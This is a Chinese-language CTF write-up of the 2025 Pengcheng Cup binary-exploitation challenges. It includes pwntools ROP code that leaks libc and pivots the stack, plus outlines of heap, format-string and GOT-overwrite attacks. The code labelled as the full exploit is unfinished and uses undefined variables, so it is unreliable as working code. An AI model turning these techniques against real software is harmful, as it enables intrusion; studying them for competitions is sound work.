2025鹏程杯PWN除了vm全解
字数 1896 2025-12-19 12:18:29

2025鹏程杯PWN题解(除VM外)

题目一:Pivoting

程序分析

这是一个银行管理系统,存在栈溢出漏洞。程序逻辑包含死循环,需要绕过才能进行控制流劫持。

漏洞点

  1. 在取款操作的确认环节存在栈溢出
  2. 程序重启后全局条件不可逆,需要特别注意交互逻辑
  3. 存在栈帧不对齐问题,需要ret指令进行抬栈

利用思路

第一阶段:泄露libc地址

from pwn import *

def leak_libc():
    io = process("./pwn")
    io.recvuntil("Please tell me your name\n")
    stack = u64(io.recv(6).ljust(8, b"\x00"))
    
    # 构造ROP链泄露write地址
    context.arch = "amd64"
    elf = ELF("./pwn")
    pd = flat(0x00000000004014f3, elf.got["write"], 0, 
              0x00000000004014f5, 1, elf.plt["write"], elf.symbols["main"])
    pd = pd.ljust(0x50, b"\x00")
    pd += p64(stack-0x180+0x10)
    pd += p64(0x4013C8)  # leave_ret
    
    # 触发漏洞
    cmd(pd)
    
    # 接收泄露的地址
    io.recvuntil("Thanks for your coming\n")
    libc_base = u64(io.recv(6).ljust(8, b"\x00")) - libc.sym['write']
    return libc_base

第二阶段:获取shell

尝试多种方法:

  1. system调用:由于栈环境问题可能失败
  2. one_gadget:需要满足特定约束条件
  3. ORW(Open-Read-Write):最稳定的方法

关键技巧

  1. 栈帧对齐:在ROP链前添加ret指令(0x000000000040101a)
  2. read再次劫持:通过调用read函数进行二次控制
  3. 交互逻辑修正:注意程序重启后的状态变化

完整exp

from pwn import *

io = process("./pwn")
context.log_level = "debug"

# 泄露libc
libc_base = leak_libc()

# 构造ORW链
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51  
rdx = libc_base + 0x00000000000904a9
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

# 通过read进行二次控制
rop_chain = flat(
    rdi, 0, rsi, stack-0x180+0x10+0x28, rdx, 0x300, 0, read_addr, elf.sym['main']
)

题目二:myzoo

程序特点

  1. 使用_mm_cvtsi32_si128等SIMD指令
  2. 初始化后直接给出PIE地址:printf("gift@%p\n", printf_w)
  3. 结构体操作复杂,存在全局变量共享问题

漏洞利用

结构体分析

程序管理三种动物(dog、cat、bird),每个动物有对应的结构体:

struct Animal {
    int type;
    char name[16];
    int age;
    char breed[32];
    void (*func_ptr)();
};

利用方法

  1. 控制函数指针:通过溢出覆盖结构体中的函数指针
  2. 格式化字符串漏洞:用于泄露地址信息
  3. ROP链构造:由于栈控制有限,需要精心设计

关键发现

  1. 调用链:(*(heap_ptr + 6))(heap_ptr + 8)
  2. 可控内存范围:4个gadget的长度
  3. 需要还原结构体布局才能稳定利用

利用步骤

  1. 选择cat操作触发漏洞
  2. 通过格式化字符串泄露libc地址
  3. 构造system调用或one_gadget

题目三:MQTT

环境搭建

依赖库安装

# 安装libcjson
sudo apt install libcjson1

# 安装Paho MQTT C库
sudo apt install libpaho-mqtt3c1

# 或从源码编译
git clone https://github.com/eclipse/paho.mqtt.c
cd paho.mqtt.c
mkdir build && cd build
cmake -DPAHO_BUILD_SHARED=ON ..
make
sudo make install
sudo ldconfig

程序分析

功能概述

  • 车辆诊断系统模拟
  • 使用MQTT协议进行通信
  • 主题:diag
  • 客户端ID:vehicle_diag

关键文件

  • /mnt/VIN:车辆识别码
  • /mnt/version:固件版本号
  • /dev/status:设备状态文件

安全机制

  • 使用多项式滚动哈希(基数31)进行认证
  • 验证auth字段是否匹配hash(VIN)

漏洞点

  1. JSON解析漏洞:在回调函数sub_1C8C
  2. 多线程处理:创建新线程执行sub_1E1A
  3. 内存管理问题:MQTT消息结构体处理不当

利用流程

  1. 连接MQTT broker(localhost:9999)
  2. diag主题发布恶意消息
  3. 触发回调函数中的漏洞
  4. 获取flag或执行任意代码

题目四:结构数(BST)

程序功能

二叉搜索树管理系统,包含管理员和普通用户模式。

核心函数

// 树操作
insert(BstTreeNode **T, int value)      // 插入节点
midTree(BstTreeNode *T)                 // 中序遍历  
destoryNode(BstTreeNode *T, int val)    // 删除节点
searchTree(BstTreeNode *T, int val)     // 搜索节点
editTree(BstTreeNode *T, int val)       // 编辑节点

// 用户管理
AdminCheck(BstTreeNode *T)              // 管理员验证
creatAdmin()                           // 创建管理员
creatUser()                            // 创建用户

漏洞利用

关键技巧

  • 右指针清零:通过树操作使右指针为NULL
  • 假chunk构造:利用val最大的堆块构造假chunk
  • 栈地址泄露:通过特定操作泄露栈地址

利用步骤

  1. 初始化BST(值3和2)
  2. 通过插入、删除操作操纵内存布局
  3. 泄露栈地址并劫持控制流

题目五:myfruitshop

程序逻辑

水果商店管理系统,存在数据格式处理漏洞。

数据处理流程

输入格式标准化:

  • 输入:"Apple1=5,Banana=3:Orange2=4,Apple=2"
  • 输出:"Apple=5:Banana=3:Apple=2"

漏洞分析

  1. 缺乏边界检查:没有对输入进行充分验证
  2. 无free操作:存在内存管理问题
  3. 无show功能:增加了利用难度

利用方法

溢出攻击

  1. 利用数据处理逻辑进行溢出
  2. 越界修改关键数据
  3. 修改GOT表或hook点

挑战

  • PIE启用:程序基址随机化
  • 高版本libc:传统hook方法可能失效
  • 栈地址泄露困难

利用策略

  1. 通过溢出修改GOT表
  2. 利用既定的水果数组结构
  3. 精心构造payload绕过保护

通用技巧总结

1. 栈帧处理

  • 注意栈对齐问题(x64架构)
  • 使用ret指令进行抬栈:0x000000000040101a
  • 考虑leave_ret指令的使用:0x4013C8

2. 内存泄露

  • 利用格式化字符串漏洞
  • 通过GOT表泄露libc地址
  • 考虑部分写和内存布局

3. 控制流劫持

  • ROP链构造要考虑寄存器状态
  • one_gadget需要满足约束条件
  • ORW链在复杂环境下更稳定

4. 交互处理

  • 注意程序状态的重置
  • 处理输入输出缓冲问题
  • 考虑多线程环境的影响

5. 环境配置

  • 确保依赖库版本兼容
  • 注意动态链接库路径
  • 调试时使用正确的架构设置

这份题解涵盖了2025鹏程杯PWN题目(除VM外)的核心知识点和利用技巧,重点突出了实际利用过程中的关键点和注意事项。

2025鹏程杯PWN题解(除VM外) 题目一:Pivoting 程序分析 这是一个银行管理系统,存在栈溢出漏洞。程序逻辑包含死循环,需要绕过才能进行控制流劫持。 漏洞点 在取款操作的确认环节存在栈溢出 程序重启后全局条件不可逆,需要特别注意交互逻辑 存在栈帧不对齐问题,需要ret指令进行抬栈 利用思路 第一阶段:泄露libc地址 第二阶段:获取shell 尝试多种方法: system调用 :由于栈环境问题可能失败 one_ gadget :需要满足特定约束条件 ORW(Open-Read-Write) :最稳定的方法 关键技巧 栈帧对齐 :在ROP链前添加ret指令(0x000000000040101a) read再次劫持 :通过调用read函数进行二次控制 交互逻辑修正 :注意程序重启后的状态变化 完整exp 题目二:myzoo 程序特点 使用 _mm_cvtsi32_si128 等SIMD指令 初始化后直接给出PIE地址: printf("gift@%p\n", printf_w) 结构体操作复杂,存在全局变量共享问题 漏洞利用 结构体分析 程序管理三种动物(dog、cat、bird),每个动物有对应的结构体: 利用方法 控制函数指针 :通过溢出覆盖结构体中的函数指针 格式化字符串漏洞 :用于泄露地址信息 ROP链构造 :由于栈控制有限,需要精心设计 关键发现 调用链: (*(heap_ptr + 6))(heap_ptr + 8) 可控内存范围:4个gadget的长度 需要还原结构体布局才能稳定利用 利用步骤 选择cat操作触发漏洞 通过格式化字符串泄露libc地址 构造system调用或one_ gadget 题目三:MQTT 环境搭建 依赖库安装 程序分析 功能概述 车辆诊断系统模拟 使用MQTT协议进行通信 主题: diag 客户端ID: vehicle_diag 关键文件 /mnt/VIN :车辆识别码 /mnt/version :固件版本号 /dev/status :设备状态文件 安全机制 使用多项式滚动哈希(基数31)进行认证 验证auth字段是否匹配hash(VIN) 漏洞点 JSON解析漏洞 :在回调函数 sub_1C8C 中 多线程处理 :创建新线程执行 sub_1E1A 内存管理问题 :MQTT消息结构体处理不当 利用流程 连接MQTT broker(localhost:9999) 向 diag 主题发布恶意消息 触发回调函数中的漏洞 获取flag或执行任意代码 题目四:结构数(BST) 程序功能 二叉搜索树管理系统,包含管理员和普通用户模式。 核心函数 漏洞利用 关键技巧 右指针清零 :通过树操作使右指针为NULL 假chunk构造 :利用val最大的堆块构造假chunk 栈地址泄露 :通过特定操作泄露栈地址 利用步骤 初始化BST(值3和2) 通过插入、删除操作操纵内存布局 泄露栈地址并劫持控制流 题目五:myfruitshop 程序逻辑 水果商店管理系统,存在数据格式处理漏洞。 数据处理流程 输入格式标准化: 输入: "Apple1=5,Banana=3:Orange2=4,Apple=2" 输出: "Apple=5:Banana=3:Apple=2" 漏洞分析 缺乏边界检查 :没有对输入进行充分验证 无free操作 :存在内存管理问题 无show功能 :增加了利用难度 利用方法 溢出攻击 利用数据处理逻辑进行溢出 越界修改关键数据 修改GOT表或hook点 挑战 PIE启用:程序基址随机化 高版本libc:传统hook方法可能失效 栈地址泄露困难 利用策略 通过溢出修改GOT表 利用既定的水果数组结构 精心构造payload绕过保护 通用技巧总结 1. 栈帧处理 注意栈对齐问题(x64架构) 使用ret指令进行抬栈: 0x000000000040101a 考虑leave_ ret指令的使用: 0x4013C8 2. 内存泄露 利用格式化字符串漏洞 通过GOT表泄露libc地址 考虑部分写和内存布局 3. 控制流劫持 ROP链构造要考虑寄存器状态 one_ gadget需要满足约束条件 ORW链在复杂环境下更稳定 4. 交互处理 注意程序状态的重置 处理输入输出缓冲问题 考虑多线程环境的影响 5. 环境配置 确保依赖库版本兼容 注意动态链接库路径 调试时使用正确的架构设置 这份题解涵盖了2025鹏程杯PWN题目(除VM外)的核心知识点和利用技巧,重点突出了实际利用过程中的关键点和注意事项。